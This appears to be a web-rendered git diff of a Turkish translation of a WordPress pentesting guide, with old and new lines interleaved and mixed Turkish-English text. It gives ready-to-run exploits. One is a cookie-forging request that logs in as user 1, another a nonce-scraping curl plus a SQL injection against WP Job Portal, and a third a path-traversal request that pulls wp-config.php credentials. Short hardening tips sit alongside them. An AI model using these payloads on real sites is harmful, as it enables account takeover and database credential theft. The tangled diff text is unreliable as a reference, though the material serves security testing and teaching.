}
|
||||||
|
```
|
||||||
|
Neden istismar edilebilir
|
||||||
|
|
||||||
Savunma notları
|
- Genel erişime açık `init` hook'u, işleyicinin kimliği doğrulanmamış kullanıcılar tarafından erişilebilir olmasını sağlar (hiçbir `is_user_logged_in()` koruması yok).
|
||||||
|
- Kimlik, istemci tarafından değiştirilebilen bir cookie (`original_user_id`) üzerinden türetilir.
|
||||||
|
- Doğrudan `wp_set_auth_cookie($uid)` çağrısı, istekte bulunananı herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır.
|
||||||
|
|
||||||
- Eklenti CVE'lerini korumak için genel WAF imzalarına güvenmeyin. Uygulama-katmanı, zafiyete-özel virtual patches uygulayın veya hızlıca güncelleyin.
|
İstismar (kimliği doğrulanmamış)
|
||||||
- Kodda negatif regex filtreleri yerine positive-security kontrollerini tercih edin (capabilities, nonces, strict input validation).
|
```http
|
||||||
|
GET /?switch_back=1 HTTP/1.1
|
||||||
|
Host: victim.example
|
||||||
|
Cookie: original_user_id=1
|
||||||
|
User-Agent: PoC
|
||||||
|
Connection: close
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
## WordPress Koruması
|
### WAF considerations for WordPress/plugin CVEs
|
||||||
|
|
||||||
### Düzenli Güncellemeler
|
Genel edge/sunucu WAF'ları geniş desenlere (SQLi, XSS, LFI) göre ayarlanır. Birçok yüksek etkili WordPress/plugin zaafı, motor WordPress rotalarını ve plugin semantiğini anlamadıkça zararsız trafik gibi görünen uygulamaya özgü mantık/kimlik doğrulama hatalarıdır.
|
||||||
|
|
||||||
WordPress, plugins ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemenin wp-config.php'de etkinleştirildiğini doğrulayın:
|
Offensive notes
|
||||||
|
|
||||||
|
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||||
|
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||||
|
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||||
|
|
||||||
|
Defensive notes
|
||||||
|
|
||||||
|
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||||||
|
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||||||
|
|
||||||
|
## WordPress Protection
|
||||||
|
|
||||||
|
### Regular Updates
|
||||||
|
|
||||||
|
WordPress, plugins ve temaların güncel olduğundan emin olun. Ayrıca otomatik güncellemelerin wp-config.php'de etkinleştirildiğini doğrulayın:
|
||||||
```bash
|
```bash
|
||||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||||
add_filter( 'auto_update_plugin', '__return_true' );
|
add_filter( 'auto_update_plugin', '__return_true' );
|
||||||
add_filter( 'auto_update_theme', '__return_true' );
|
add_filter( 'auto_update_theme', '__return_true' );
|
||||||
```
|
```
|
||||||
Ayrıca, yalnızca güvenilir WordPress eklentilerini ve temalarını yükleyin.
|
Also, **sadece güvenilir WordPress eklentilerini ve temalarını yükleyin**.
|
||||||
|
|
||||||
### Güvenlik Eklentileri
|
### Security Plugins
|
||||||
|
|
||||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||||||
|
|
||||||
### **Diğer Öneriler**
|
### **Other Recommendations**
|
||||||
|
|
||||||
- Varsayılan **admin** kullanıcısını kaldırın
|
- Varsayılan **admin** kullanıcısını kaldırın
|
||||||
- Güçlü **parolalar** ve **2FA** kullanın
|
- **Güçlü parolalar** ve **2FA** kullanın
|
||||||
- Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin**
|
- Periyodik olarak kullanıcıların **izinlerini** **gözden geçirin**
|
||||||
- Brute Force saldırılarını önlemek için giriş denemelerini sınırlandırın
|
- Brute Force saldırılarını önlemek için **oturum açma denemelerini sınırlayın**
|
||||||
- `wp-admin.php` dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin.
|
- **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili veya belirli IP adreslerinden erişime izin verin.
|
||||||
|
|
||||||
|
|
||||||
### Kimlik doğrulaması gerektirmeyen SQL Injection (yetersiz doğrulama) (WP Job Portal <= 2.3.2)
|
### Kimlik doğrulaması gerektirmeyen yetersiz doğrulama nedeniyle SQL Injection (WP Job Portal <= 2.3.2)
|
||||||
|
|
||||||
WP Job Portal işe alım eklentisi, en nihayetinde `modules/category/model.php::validateFormData()` içinde aşağıdaki güvenlik açığı içeren kodu çalıştıran **savecategory** görevini açığa çıkardı:
|
WP Job Portal recruitment plugin, en sonunda `modules/category/model.php::validateFormData()` içinde aşağıdaki zafiyetli kodu çalıştıran **savecategory** görevini açığa çıkardı:
|
||||||
```php
|
```php
|
||||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||||
$inquery = ' ';
|
$inquery = ' ';
|
||||||
@ -610,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
|||||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||||
```
|
```
|
||||||
Bu parçacığın neden olduğu sorunlar:
|
Bu kod parçasının yol açtığı sorunlar:
|
||||||
|
|
||||||
1. **Unsanitised user input** – `parentid` HTTP isteğinden doğrudan geliyor.
|
1. Temizlenmemiş kullanıcı girdisi – `parentid` HTTP isteğinden doğrudan geliyor.
|
||||||
2. **String concatenation inside the WHERE clause** – `is_numeric()` / `esc_sql()` / prepared statement yok.
|
2. WHERE cümlesi içinde string birleştirme – `is_numeric()` / `esc_sql()` / prepared statement yok.
|
||||||
3. **Unauthenticated reachability** – işlem `admin-post.php` üzerinden yürütülse de, mevcut tek kontrol bir **CSRF nonce** (`wp_verify_nonce()`)'dir; bu nonce, shortcode'u içeren herkese açık bir sayfadan herhangi bir ziyaretçi tarafından alınabilir.
|
3. Kimliksız erişim – action `admin-post.php` üzerinden çalıştırılsa da, yapılan tek kontrol **CSRF nonce** (`wp_verify_nonce()`), ve bu nonce'u shortcode'u [wpjobportal_my_resumes] içeren herkese açık bir sayfadan herhangi bir ziyaretçi alabilir.
|
||||||
|
|
||||||
#### Exploitation
|
#### İstismar
|
||||||
|
|
||||||
1. Yeni bir nonce alın:
|
1. Yeni bir nonce al:
|
||||||
```bash
|
```bash
|
||||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||||
```
|
```
|
||||||
2. `parentid`'i suistimal ederek rastgele SQL enjeksiyonu yapın:
|
2. `parentid`'i kötüye kullanarak rastgele SQL enjekte et:
|
||||||
```bash
|
```bash
|
||||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||||
-d 'task=savecategory' \
|
-d 'task=savecategory' \
|
||||||
@ -630,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
|||||||
-d 'parentid=0 OR 1=1-- -' \
|
-d 'parentid=0 OR 1=1-- -' \
|
||||||
-d 'cat_title=pwn' -d 'id='
|
-d 'cat_title=pwn' -d 'id='
|
||||||
```
|
```
|
||||||
Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir; bu da SQLi'yi kanıtlar.
|
Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirerek SQLi'yi kanıtlar.
|
||||||
|
|
||||||
|
|
||||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
### Kimliksız Rasgele Dosya İndirme / Path Traversal (WP Job Portal <= 2.3.2)
|
||||||
|
|
||||||
Başka bir görev, **downloadcustomfile**, ziyaretçilerin path traversal yoluyla diskteki **herhangi bir dosyayı** indirmesine izin veriyordu. Zayıf sink `modules/customfield/model.php::downloadCustomUploadedFile()` içinde bulunuyor:
|
Başka bir görev, **downloadcustomfile**, ziyaretçilere path traversal yoluyla diskteki **herhangi bir dosyayı** indirme izni veriyordu. Zafiyetli sink `modules/customfield/model.php::downloadCustomUploadedFile()` içinde yer alır:
|
||||||
```php
|
```php
|
||||||
$file = $path . '/' . $file_name;
|
$file = $path . '/' . $file_name;
|
||||||
...
|
...
|
||||||
echo $wp_filesystem->get_contents($file); // raw file output
|
echo $wp_filesystem->get_contents($file); // raw file output
|
||||||
```
|
```
|
||||||
`$file_name` saldırgan tarafından kontrol ediliyor ve **sanitizasyon yapılmadan** birleştiriliyor. Yine, tek engel özgeçmiş sayfasından alınabilecek bir **CSRF nonce**.
|
`$file_name` saldırgan tarafından kontrol ediliyor ve **temizlenmeden** birleştiriliyor. Tekrar, tek engel özgeçmiş sayfasından alınabilecek bir **CSRF nonce**.
|
||||||
|
|
||||||
#### Exploitation
|
#### İstismar
|
||||||
```bash
|
```bash
|
||||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||||
--data-urlencode 'task=downloadcustomfile' \
|
--data-urlencode 'task=downloadcustomfile' \
|
||||||
@ -652,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
|||||||
--data-urlencode 'entity_id=1' \
|
--data-urlencode 'entity_id=1' \
|
||||||
--data-urlencode 'file_name=../../../wp-config.php'
|
--data-urlencode 'file_name=../../../wp-config.php'
|
||||||
```
|
```
|
||||||
Sunucu `wp-config.php` içeriğini döndürüyor, leaking DB credentials ve auth keys.
|
Sunucu `wp-config.php` içeriğini yanıt olarak döndürüyor, leaking DB credentials and auth keys.
|
||||||
|
|
||||||
## Referanslar
|
## Referanslar
|
||||||
|
|
||||||
@ -663,5 +712,7 @@ Sunucu `wp-config.php` içeriğini döndürüyor, leaking DB credentials ve auth
|
|||||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||||
|
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||||
|
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user